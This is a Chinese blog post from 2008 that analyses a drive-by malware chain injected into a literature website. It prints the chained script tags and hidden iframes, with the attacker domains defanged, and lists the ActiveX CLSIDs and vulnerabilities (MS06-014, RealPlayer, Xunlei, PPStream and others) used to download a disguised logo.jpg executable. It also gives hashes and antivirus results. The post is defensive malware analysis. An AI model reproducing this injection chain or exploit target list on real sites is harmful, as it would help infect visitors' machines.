某文學網站上掛的logo.jpg /logo.exe 更新了

某文學網站上掛的logo.jpg /logo.exe 更新了

endurer 原創
2008-05-27 第1版

網站首頁 包含代碼：
/---
＜script src="ads/iw_t.js"＞＜/script＞
---/

#1 ads/iw_t.js包含代碼：
/---
＜script src='/images/jin.gif'＞＜/script＞
---/

#1.1 /images/jin.gif

輸出代碼：
/---
＜script language="javascript" src="hxxp://w**w*.shi*t**ip.com/file/my.js"＞＜/script＞
---/

#1.1.1 hxxp://w**w*.shi*t**ip.com/file/my.js 輸出代碼:
/---
＜script language='javascript' src='hxxp://a**d.shi*t**ip.com/file/ad.js'＞＜/script＞
---/

#1.1.1.1 hxxp://a**d.shi*t**ip.com/file/ad.js 輸出代碼:
/---
＜iframe name='logo_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/logo.js'＞＜/script＞
＜iframe name='real2_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/real2.js'＞＜/script＞
＜iframe name='real_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/real.js'＞＜/script＞
＜iframe name='lz3_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz3.js'＞＜/script＞
＜iframe name='lz2_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz2.js'＞＜/script＞
＜iframe name='lz_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/lz.js'＞＜/script＞
＜iframe name='bf_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/bf.js'＞＜/script＞
＜iframe name='pps_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/pps.js'＞＜/script＞
＜iframe name='xunlei_if' width='25' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/xunlei.js'＞＜/script＞
＜iframe name='sdr_if' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://w**w*.shi*t**ip.com/file/sdr.js'＞＜/script＞
＜iframe name='cif_' width='0' height='0'＞＜/iframe＞
＜script language='javascript' src='hxxp://count23.51yes.com/click.aspx?id=238288070&logo=1'＞＜/script＞
---/

#1.1.1.1.1 hxxp://w**w*.shi*t**ip.com/file/logo.js
利用 MS06-014漏洞下載 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

檔案說明符 : D:/test/logo.jpg
屬性 : A---
擷取檔案版本資訊大小失敗!
建立時間 : 2008-5-27 12:30:50
修改時間 : 2008-5-27 12:30:50
訪問時間 : 2008-5-27 12:32:12
大小 : 29696 位元組 29.0 KB
MD5 : c741d288327cce1bd7168cb3f00e890d
SHA1: B6C1BAED89B9CBE0058C123621207243EA36727C
CRC32: 51c0b7e9

卡巴斯基 和 瑞星 20.46.02 無反應。

#1.1.1.1.2 hxxp://w**w*.shi*t**ip.com/file/real2.js

利用 RealPlayer（rmocx.RealPlayer RAM Download Handler.1，clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.3 hxxp://w**w*.shi*t**ip.com/file/real.js

利用 RealPlayer（IERPCtl.IERPCtl.1）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.4 hxxp://w**w*.shi*t**ip.com/file/lz3.js

利用 聯眾（HanGamePluginCn18.HanGamePluginCn18.1，clsid:61F5C358-60FB-4A23-A312-D2B556620F20）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.5 hxxp://w**w*.shi*t**ip.com/file/lz2.js

利用 聯眾（GLIEDown.IEDown.1，clsid:F917534D-535B-416B-8E8F-0C04756C31A8）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.6 hxxp://w**w*.shi*t**ip.com/file/lz.js

利用 聯眾（GLCHAT.GLChatCtrl.1，clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.7 hxxp://w**w*.shi*t**ip.com/file/bf.js

利用 暴風影音（MPS.StormPlayer，clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.8 hxxp://w**w*.shi*t**ip.com/file/pps.js

利用 PPStream（POWERPLAYER.PowerPlayerCtrl.1，clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458）漏洞 下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.9 hxxp://w**w*.shi*t**ip.com/file/xunlei.js

利用迅雷（PPlayer.XPPlayer.1，clsid:F3E70CEA-956E-49CC-B444-73AFE593AD7F）漏洞下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg

#1.1.1.1.10 hxxp://w**w*.shi*t**ip.com/file/sdr.js

利用超星閱覽器（Pdg2，clsid:7F5E27CE-4A5C-11D3-9232-0000B48A05B2）漏洞下載 hxxp://w**w*.shi*t**ip.com/file/images/logo.jpg